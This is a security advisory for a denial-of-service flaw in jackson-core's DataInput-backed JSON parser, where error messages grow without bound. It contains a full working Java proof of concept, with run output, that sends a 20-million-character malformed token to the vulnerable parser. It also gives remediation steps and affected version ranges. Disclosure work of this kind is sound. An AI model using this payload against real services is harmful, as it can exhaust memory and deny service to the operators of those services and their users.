GHSA-7hhh-6rmp-j9qf

Suggest an improvement
Source
https://github.com/advisories/GHSA-7hhh-6rmp-j9qf
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-7hhh-6rmp-j9qf
Aliases
Published
2026-10-01T15:20:27Z
Modified
2026-10-01T15:30:05Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
jackson-core: UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -> unbounded StringBuilder growth (DoS)
Details

Status

FULLY REPRODUCED. A malformed token fed through createParser(DataInput) produced a 20,000,109-character exception message from a 20-million-character attacker payload, while the identical payload fed through createParser(InputStream) produced a correctly bounded 367-character message.

Affected Component / Version

  • Package: com.fasterxml.jackson.core:jackson-core
  • Confirmed against: jackson-core-2.20.2
  • Affected file: src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java (_reportInvalidToken(int, String, String), lines ~2763-2780 in the 2.20.2 tree)

Technical Analysis

UTF8DataInputJsonParser._reportInvalidToken() builds the offending-token description for its exception message by appending identifier characters one at a time to a bare StringBuilder:

protected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException {
    StringBuilder sb = new StringBuilder(matchedPart);
    while (true) {
        char c = (char) _decodeCharForError(ch);
        if (!Character.isJavaIdentifierPart(c)) {
            break;
        }
        sb.append(c);
        ch = _inputData.readUnsignedByte();
    }
    _reportError("Unrecognized token '"+sb.toString()+"': was expecting "+msg);
}

There is no check against ErrorReportConfiguration.getMaxErrorTokenLength() (default 256) anywhere in this loop. By contrast, the sibling UTF8StreamJsonParser implementation of the same logic does enforce it:

// UTF8StreamJsonParser.java (control, correctly bounded)
if (sb.length() >= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) {
    sb.append("...");
    break;
}

ReaderBasedJsonParser and NonBlockingUtf8JsonParserBase also correctly enforce the limit — this is a defect isolated to the DataInput-backed implementation specifically, confirmed by direct comparison of all four parser implementations in this tree.

This path is additionally left with no fallback control: because of [core#1570]-related logic in JsonFactory, configuring maxDocumentLength causes DataInput-sourced parser creation to be rejected outright, so a document-length backstop cannot coexist with this input source, and the identifier-character accumulation never passes through ReadConstrainedTextBuffer, so maxStringLength does not apply either. There is no configuration an application can set to mitigate this specific path.

Reproduction Procedure

Same clone/build steps as jackson-core_1_...md. Then:

CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar"
javac -cp "$CP" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java
java -Xmx2g -cp "poc:$CP" PoC6_UnboundedErrorTokenStringBuilder

Full PoC Source (poc/PoC6_UnboundedErrorTokenStringBuilder.java)

import com.fasterxml.jackson.core.*;

import java.io.DataInputStream;
import java.io.IOException;
import java.io.InputStream;

public class PoC6_UnboundedErrorTokenStringBuilder {

    static class RepeatingByteInputStream extends InputStream {
        private final int b;
        private long remaining;
        RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; }
        @Override public int read() {
            if (remaining <= 0) return -1;
            remaining--;
            return b;
        }
    }

    public static void main(String[] args) throws Exception {
        final long IDENTIFIER_CHAR_COUNT = 20_000_000L;

        System.out.println("Malformed token: \"t\" followed by " + IDENTIFIER_CHAR_COUNT
                + " Java-identifier characters ('x'), then a terminating space, never completing"
                + " \"true\"/\"false\"/\"null\"/NaN.\n");

        System.out.println("=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===");
        {
            InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"),
                    new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8"));
            DataInputStream dataIn = new DataInputStream(raw);
            JsonFactory factory = new JsonFactory();
            JsonParser p = factory.createParser((java.io.DataInput) dataIn);

            long heapBefore = usedHeap();
            long t0 = System.nanoTime();
            String message = null;
            try {
                p.nextToken(); p.nextToken(); p.nextToken();
            } catch (JsonParseException e) {
                message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();
            } catch (IOException e) {
                message = "(stream ended: " + e + ")";
            }
            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
            long heapAfter = usedHeap();

            int msgLen = message == null ? -1 : message.length();
            System.out.println("Exception message length: " + msgLen + " characters");
            System.out.println("Elapsed time: " + elapsedMs + " ms");
            System.out.println("Approx additional heap used: " + ((heapAfter - heapBefore) / (1024 * 1024)) + " MB");
            System.out.println("Message length proportional to the full " + IDENTIFIER_CHAR_COUNT
                    + "-character payload (unbounded)? " + (msgLen > 1_000_000));
        }

        System.out.println("\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===");
        {
            InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"),
                    new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8"));
            JsonFactory factory = new JsonFactory();
            JsonParser p = factory.createParser(raw);

            long t0 = System.nanoTime();
            String message = null;
            try {
                p.nextToken(); p.nextToken(); p.nextToken();
            } catch (JsonParseException e) {
                message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();
            } catch (IOException e) {
                message = "(stream ended: " + e + ")";
            }
            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
            int msgLen = message == null ? -1 : message.length();
            System.out.println("Exception message length: " + msgLen + " characters");
            System.out.println("Elapsed time: " + elapsedMs + " ms");
            System.out.println("Message length bounded near default maxErrorTokenLength (256)? " + (msgLen < 500));
        }
    }

    static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) {
        InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle);
        return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix));
    }

    static long usedHeap() {
        Runtime rt = Runtime.getRuntime();
        System.gc();
        return rt.totalMemory() - rt.freeMemory();
    }
}

Captured Evidence (actual run output)

Malformed token: "t" followed by 20000000 Java-identifier characters ('x'), then a terminating
space, never completing "true"/"false"/"null"/NaN.

=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===
Exception message length: 20000109 characters
Elapsed time: 81 ms
Approx additional heap used (best-effort, GC-noisy): 38 MB
Message length is proportional to the full 20000000-character attacker payload (unbounded)? true

=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===
Exception message length: 367 characters
Elapsed time: 7 ms
Message length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true

The same 20-million-character malformed token, fed to the two parser variants, produces a 367-character message via the correctly-bounded InputStream path and a 20,000,109-character message via the vulnerable DataInput path — a difference of roughly 54,500x for identical input, confirming the missing bound is the sole cause of the difference.

Impact

Any application creating parsers via JsonFactory.createParser(DataInput) over attacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth from a single malformed token. Scaling the payload from the 20MB demonstrated here to gigabytes (well within a typical unbounded request body) would drive the accumulated StringBuilder — which additionally undergoes byte-to-char expansion and internal doubling — to consume many times the raw payload size, realistically triggering OutOfMemoryError and denying service to the whole JVM process. Critically, no available configuration mitigates this: maxDocumentLength cannot be set for DataInput sources at all, and maxStringLength does not apply to this code path.

Remediation

  1. Add the maxErrorTokenLength check to the append loop in UTF8DataInputJsonParser._reportInvalidToken(), appending "..." and breaking when the limit is reached — mirroring the three other parser implementations exactly.
  2. Add a parameterized regression test across all four parser implementations asserting the exception message length is bounded by maxErrorTokenLength plus a small constant.
  3. Consider extracting this bounded-scan logic into a single shared helper on ParserMinimalBase to prevent this class of per-implementation drift recurring.
Database specific
{
    "cwe_ids": [
        "CWE-400",
        "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-01T15:20:27Z",
    "nvd_published_at": "2026-09-23T03:17:04Z",
    "severity": "HIGH"
}
References

Affected packages

Maven
com.fasterxml.jackson.core:jackson-core

Package

Name
com.fasterxml.jackson.core:jackson-core
View open source insights on deps.dev
Purl
pkg:maven/com.fasterxml.jackson.core/jackson-core

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.19.0
Fixed
2.21.7

Affected versions

2.*
2.19.0
2.19.1
2.19.2
2.19.3
2.19.4
2.20.0-rc1
2.20.0
2.20.1
2.20.2
2.21.0
2.21.1
2.21.2
2.21.3
2.21.4
2.21.5
2.21.6

Database specific

last_known_affected_version_range
"<= 2.21.6"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json"
com.fasterxml.jackson.core:jackson-core

Package

Name
com.fasterxml.jackson.core:jackson-core
View open source insights on deps.dev
Purl
pkg:maven/com.fasterxml.jackson.core/jackson-core

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.22.0
Fixed
2.22.3

Affected versions

2.*
2.22.0
2.22.1
2.22.2

Database specific

last_known_affected_version_range
"<= 2.22.2"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json"
tools.jackson.core:jackson-core

Package

Name
tools.jackson.core:jackson-core
View open source insights on deps.dev
Purl
pkg:maven/tools.jackson.core/jackson-core

Affected ranges

Type
ECOSYSTEM
Events
Introduced
3.0.0
Fixed
3.1.7

Affected versions

3.*
3.0.0
3.0.1
3.0.2
3.0.3
3.0.4
3.1.0-rc1
3.1.0
3.1.1
3.1.2
3.1.3
3.1.4
3.1.5
3.1.6

Database specific

last_known_affected_version_range
"<= 3.1.6"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json"
tools.jackson.core:jackson-core

Package

Name
tools.jackson.core:jackson-core
View open source insights on deps.dev
Purl
pkg:maven/tools.jackson.core/jackson-core

Affected ranges

Type
ECOSYSTEM
Events
Introduced
3.2.0
Fixed
3.2.3

Affected versions

3.*
3.2.0
3.2.1
3.2.2

Database specific

last_known_affected_version_range
"<= 3.2.2"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json"
com.fasterxml.jackson.core:jackson-core

Package

Name
com.fasterxml.jackson.core:jackson-core
View open source insights on deps.dev
Purl
pkg:maven/com.fasterxml.jackson.core/jackson-core

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.8.0
Fixed
2.18.11

Affected versions

2.*
2.8.0
2.8.1
2.8.2
2.8.3
2.8.4
2.8.5
2.8.6
2.8.7
2.8.8
2.8.9
2.8.10
2.8.11
2.9.0
2.9.0.pr1
2.9.0.pr2
2.9.0.pr3
2.9.0.pr4
2.9.1
2.9.2
2.9.3
2.9.4
2.9.5
2.9.6
2.9.7
2.9.8
2.9.9
2.9.10
2.10.0
2.10.0.pr1
2.10.0.pr2
2.10.0.pr3
2.10.1
2.10.2
2.10.3
2.10.4
2.10.5
2.11.0.rc1
2.11.0
2.11.1
2.11.2
2.11.3
2.11.4
2.12.0-rc1
2.12.0-rc2
2.12.0
2.12.1
2.12.2
2.12.3
2.12.4
2.12.5
2.12.6
2.12.7
2.13.0-rc1
2.13.0-rc2
2.13.0
2.13.1
2.13.2
2.13.3
2.13.4
2.13.5
2.14.0-rc1
2.14.0-rc2
2.14.0-rc3
2.14.0
2.14.1
2.14.2
2.14.3
2.15.0-rc1
2.15.0-rc2
2.15.0-rc3
2.15.0
2.15.1
2.15.2
2.15.3
2.15.4
2.16.0-rc1
2.16.0
2.16.1
2.16.2
2.17.0-rc1
2.17.0
2.17.1
2.17.2
2.17.3
2.18.0-rc1
2.18.0
2.18.1
2.18.2
2.18.3
2.18.4
2.18.4.1
2.18.5
2.18.6
2.18.7
2.18.8
2.18.9
2.18.10

Database specific

last_known_affected_version_range
"<= 2.18.10"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-7hhh-6rmp-j9qf/GHSA-7hhh-6rmp-j9qf.json"